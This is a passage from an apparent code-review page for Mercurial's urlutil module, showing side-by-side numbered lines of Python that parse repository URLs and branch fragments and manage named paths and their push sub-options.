577 path = try_path(ui, source)
566 if path is not None:
578 if path is not None:
567 url = path.rawloc
579 url = path.rawloc
568 else:
580 else:
569 url = source
581 url = source
570 clone_path, branch = parseurl(url, default_branches)
582 clone_path, branch = parseurl(url, default_branches)
571 return url, clone_path, branch
583 return url, clone_path, branch
572
584
573
585
574 def parseurl(path, branches=None):
586 def parseurl(path, branches=None):
575 '''parse url#branch, returning (url, (branch, branches))'''
587 '''parse url#branch, returning (url, (branch, branches))'''
576 u = url(path)
588 u = url(path)
577 branch = None
589 branch = None
578 if u.fragment:
590 if u.fragment:
579 branch = u.fragment
591 branch = u.fragment
580 u.fragment = None
592 u.fragment = None
581 return bytes(u), (branch, branches or [])
593 return bytes(u), (branch, branches or [])
582
594
583
595
584 class paths(dict):
596 class paths(dict):
585 """Represents a collection of paths and their configs.
597 """Represents a collection of paths and their configs.
586
598
587 Data is initially derived from ui instances and the config files they have
599 Data is initially derived from ui instances and the config files they have
588 loaded.
600 loaded.
589 """
601 """
590
602
591 def __init__(self, ui):
603 def __init__(self, ui):
592 dict.__init__(self)
604 dict.__init__(self)
593
605
594 for name, loc in ui.configitems(b'paths', ignoresub=True):
606 for name, loc in ui.configitems(b'paths', ignoresub=True):
595 # No location is the same as not existing.
607 # No location is the same as not existing.
596 if not loc:
608 if not loc:
597 continue
609 continue
598 loc, sub_opts = ui.configsuboptions(b'paths', name)
610 loc, sub_opts = ui.configsuboptions(b'paths', name)
599 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
611 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
600
612
601 for name, p in sorted(self.items()):
613 for name, p in sorted(self.items()):
602 p.chain_path(ui, self)
614 p.chain_path(ui, self)
603
615
604 def getpath(self, ui, name, default=None):
616 def getpath(self, ui, name, default=None):
605 """Return a ``path`` from a string, falling back to default.
617 """Return a ``path`` from a string, falling back to default.
606
618
607 ``name`` can be a named path or locations. Locations are filesystem
619 ``name`` can be a named path or locations. Locations are filesystem
608 paths or URIs.
620 paths or URIs.
609
621
610 Returns None if ``name`` is not a registered path, a URI, or a local
622 Returns None if ``name`` is not a registered path, a URI, or a local
611 path to a repo.
623 path to a repo.
612 """
624 """
613 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
625 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
614 self.deprecwarn(msg, '6.0')
626 self.deprecwarn(msg, '6.0')
615 # Only fall back to default if no path was requested.
627 # Only fall back to default if no path was requested.
616 if name is None:
628 if name is None:
617 if not default:
629 if not default:
618 default = ()
630 default = ()
619 elif not isinstance(default, (tuple, list)):
631 elif not isinstance(default, (tuple, list)):
620 default = (default,)
632 default = (default,)
621 for k in default:
633 for k in default:
622 try:
634 try:
623 return self[k]
635 return self[k]
624 except KeyError:
636 except KeyError:
625 continue
637 continue
626 return None
638 return None
627
639
628 # Most likely empty string.
640 # Most likely empty string.
629 # This may need to raise in the future.
641 # This may need to raise in the future.
630 if not name:
642 if not name:
631 return None
643 return None
632 if name in self:
644 if name in self:
633 return self[name]
645 return self[name]
634 else:
646 else:
635 # Try to resolve as a local path or URI.
647 # Try to resolve as a local path or URI.
636 path = try_path(ui, name)
648 path = try_path(ui, name)
637 if path is None:
649 if path is None:
638 raise error.RepoError(_(b'repository %s does not exist') % name)
650 raise error.RepoError(_(b'repository %s does not exist') % name)
639 return path.rawloc
651 return path.rawloc
640
652
641
653
642 _pathsuboptions = {}
654 _pathsuboptions = {}
643
655
644
656
645 def pathsuboption(option, attr):
657 def pathsuboption(option, attr):
646 """Decorator used to declare a path sub-option.
658 """Decorator used to declare a path sub-option.
647
659
648 Arguments are the sub-option name and the attribute it should set on
660 Arguments are the sub-option name and the attribute it should set on
649 ``path`` instances.
661 ``path`` instances.
650
662
651 The decorated function will receive as arguments a ``ui`` instance,
663 The decorated function will receive as arguments a ``ui`` instance,
652 ``path`` instance, and the string value of this option from the config.
664 ``path`` instance, and the string value of this option from the config.
653 The function should return the value that will be set on the ``path``
665 The function should return the value that will be set on the ``path``
654 instance.
666 instance.
655
667
656 This decorator can be used to perform additional verification of
668 This decorator can be used to perform additional verification of
657 sub-options and to change the type of sub-options.
669 sub-options and to change the type of sub-options.
658 """
670 """
659
671
660 def register(func):
672 def register(func):
661 _pathsuboptions[option] = (attr, func)
673 _pathsuboptions[option] = (attr, func)
662 return func
674 return func
663
675
664 return register
676 return register
665
677
666
678
667 @pathsuboption(b'pushurl', b'pushloc')
679 @pathsuboption(b'pushurl', b'pushloc')
668 def pushurlpathoption(ui, path, value):
680 def pushurlpathoption(ui, path, value):
669 u = url(value)
681 u = url(value)
670 # Actually require a URL.
682 # Actually require a URL.
671 if not u.scheme:
683 if not u.scheme:
672 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
684 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
673 return None
685 return None
674
686
675 # Don't support the #foo syntax in the push URL to declare branch to
687 # Don't support the #foo syntax in the push URL to declare branch to
676 # push.
688 # push.
677 if u.fragment:
689 if u.fragment:
678 ui.warn(
690 ui.warn(
679 _(
691 _(
680 b'("#fragment" in paths.%s:pushurl not supported; '
692 b'("#fragment" in paths.%s:pushurl not supported; '
681 b'ignoring)\n'
693 b'ignoring)\n'
682 )
694 )
683 % path.name
695 % path.name
684 )
696 )
685 u.fragment = None
697 u.fragment = None
686
698
687 return bytes(u)
699 return bytes(u)
688
700
689
701
690 @pathsuboption(b'pushrev', b'pushrev')
702 @pathsuboption(b'pushrev', b'pushrev')
691 def pushrevpathoption(ui, path, value):
703 def pushrevpathoption(ui, path, value):
692 return value
704 return value
693
705
694
706
695 class path(object):
707 class path(object):
696 """Represents an individual path and its configuration."""
708 """Represents an individual path and its configuration."""
697
709
698 def __init__(self, ui, name, rawloc=None, suboptions=None):
710 def __init__(self, ui, name, rawloc=None, suboptions=None):
699 """Construct a path from its config options.
711 """Construct a path from its config options.
700
712
701 ``ui`` is the ``ui`` instance the path is coming from.
713 ``ui`` is the ``ui`` instance the path is coming from.
702 ``name`` is the symbolic name of the path.
714 ``name`` is the symbolic name of the path.
703 ``rawloc`` is the raw location, as defined in the config.
715 ``rawloc`` is the raw location, as defined in the config.
704 ``pushloc`` is the raw locations pushes should be made to.
716 ``pushloc`` is the raw locations pushes should be made to.
705
717
706 If ``name`` is not defined, we require that the location be a) a local
718 If ``name`` is not defined, we require that the location be a) a local
707 filesystem path with a .hg directory or b) a URL. If not,
719 filesystem path with a .hg directory or b) a URL. If not,
708 ``ValueError`` is raised.
720 ``ValueError`` is raised.
709 """
721 """
710 if not rawloc:
722 if not rawloc:
711 raise ValueError(b'rawloc must be defined')
723 raise ValueError(b'rawloc must be defined')
712
724
713 # Locations may define branches via syntax <base>#<branch>.
725 # Locations may define branches via syntax <base>#<branch>.
714 u = url(rawloc)
726 u = url(rawloc)
715 branch = None
727 branch = None
716 if u.fragment:
728 if u.fragment:
717 branch = u.fragment
729 branch = u.fragment
718 u.fragment = None
730 u.fragment = None
719
731
720 self.url = u
732 self.url = u
721 # the url from the config/command line before dealing with `path://`
733 # the url from the config/command line before dealing with `path://`
722 self.raw_url = u.copy()
734 self.raw_url = u.copy()
723 self.branch = branch
735 self.branch = branch
724
736
725 self.name = name
737 self.name = name
726 self.rawloc = rawloc
738 self.rawloc = rawloc
727 self.loc = b'%s' % u
739 self.loc = b'%s' % u
728
740
729 self._validate_path()
741 self._validate_path()
730
742
731 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
743 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
732 self._own_sub_opts = {}
744 self._own_sub_opts = {}
733 if suboptions is not None:
745 if suboptions is not None:
734 self._own_sub_opts = suboptions.copy()
746 self._own_sub_opts = suboptions.copy()
735 sub_opts.update(suboptions)
747 sub_opts.update(suboptions)
736 self._all_sub_opts = sub_opts.copy()
748 self._all_sub_opts = sub_opts.copy()
737
749
738 self._apply_suboptions(ui, sub_opts)
750 self._apply_suboptions(ui, sub_opts)
739
751
740 def chain_path(self, ui, paths):
752 def chain_path(self, ui, paths):
741 if self.url.scheme == b'path':
753 if self.url.scheme == b'path':
742 assert self.url.path is None
754 assert self.url.path is None
743 try:
755 try:
744 subpath = paths[self.url.host]
756 subpath = paths[self.url.host]
745 except KeyError:
757 except KeyError:
746 m = _(b'cannot use `%s`, "%s" is not a known path')
758 m = _(b'cannot use `%s`, "%s" is not a known path')
747 m %= (self.rawloc, self.url.host)
759 m %= (self.rawloc, self.url.host)
748 raise error.Abort(m)
760 raise error.Abort(m)
749 if subpath.raw_url.scheme == b'path':
761 if subpath.raw_url.scheme == b'path':
750 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
762 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
751 m %= (self.rawloc, self.url.host)
763 m %= (self.rawloc, self.url.host)
752 raise error.Abort(m)
764 raise error.Abort(m)
753 self.url = subpath.url
765 self.url = subpath.url
754 self.rawloc = subpath.rawloc
766 self.rawloc = subpath.rawloc
755 self.loc = subpath.loc
767 self.loc = subpath.loc
756 if self.branch is None:
768 if self.branch is None:
757 self.branch = subpath.branch
769 self.branch = subpath.branch
758 else:
770 else:
759 base = self.rawloc.rsplit(b'#', 1)[0]
771 base = self.rawloc.rsplit(b'#', 1)[0]
760 self.rawloc = b'%s#%s' % (base, self.branch)
772 self.rawloc = b'%s#%s' % (base, self.branch)
761 suboptions = subpath._all_sub_opts.copy()
773 suboptions = subpath._all_sub_opts.copy()
762 suboptions.update(self._own_sub_opts)
774 suboptions.update(self._own_sub_opts)
763 self._apply_suboptions(ui, suboptions)
775 self._apply_suboptions(ui, suboptions)
764
776
765 def _validate_path(self):
777 def _validate_path(self):
766 # When given a raw location but not a symbolic name, validate the
778 # When given a raw location but not a symbolic name, validate the
767 # location is valid.
779 # location is valid.
768 if (
780 if (
769 not self.name
781 not self.name
770 and not self.url.scheme
782 and not self.url.scheme
771 and not self._isvalidlocalpath(self.loc)
783 and not self._isvalidlocalpath(self.loc)
772 ):
784 ):
773 raise ValueError(
785 raise ValueError(
774 b'location is not a URL or path to a local '
786 b'location is not a URL or path to a local '
775 b'repo: %s' % self.rawloc
787 b'repo: %s' % self.rawloc
776 )
788 )
777
789
778 def _apply_suboptions(self, ui, sub_options):
790 def _apply_suboptions(self, ui, sub_options):
779 # Now process the sub-options. If a sub-option is registered, its
791 # Now process the sub-options. If a sub-option is registered, its
780 # attribute will always be present. The value will be None if there
792 # attribute will always be present. The value will be None if there
781 # was no valid sub-option.
793 # was no valid sub-option.
782 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
794 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
783 if suboption not in sub_options:
795 if suboption not in sub_options:
784 setattr(self, attr, None)
796 setattr(self, attr, None)
785 continue
797 continue
786
798
787 value = func(ui, self, sub_options[suboption])
799 value = func(ui, self, sub_options[suboption])
788 setattr(self, attr, value)
800 setattr(self, attr, value)
789
801
790 def _isvalidlocalpath(self, path):
802 def _isvalidlocalpath(self, path):
791 """Returns True if the given path is a potentially valid repository.
803 """Returns True if the given path is a potentially valid repository.
792 This is its own function so that extensions can change the definition of
804 This is its own function so that extensions can change the definition of
793 'valid' in this case (like when pulling from a git repo into a hg
805 'valid' in this case (like when pulling from a git repo into a hg
794 one)."""
806 one)."""
795 try:
807 try:
796 return os.path.isdir(os.path.join(path, b'.hg'))
808 return os.path.isdir(os.path.join(path, b'.hg'))
797 # Python 2 may return TypeError. Python 3, ValueError.
809 # Python 2 may return TypeError. Python 3, ValueError.
798 except (TypeError, ValueError):
810 except (TypeError, ValueError):
799 return False
811 return False
800
812
801 @property
813 @property
802 def suboptions(self):
814 def suboptions(self):
803 """Return sub-options and their values for this path.
815 """Return sub-options and their values for this path.
804
816
805 This is intended to be used for presentation purposes.
817 This is intended to be used for presentation purposes.
806 """
818 """
807 d = {}
819 d = {}
808 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
820 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
809 value = getattr(self, attr)
821 value = getattr(self, attr)
810 if value is not None:
822 if value is not None:
811 d[subopt] = value
823 d[subopt] = value
812 return d
824 return d
General Comments 0
You need to be logged in to leave comments. Login now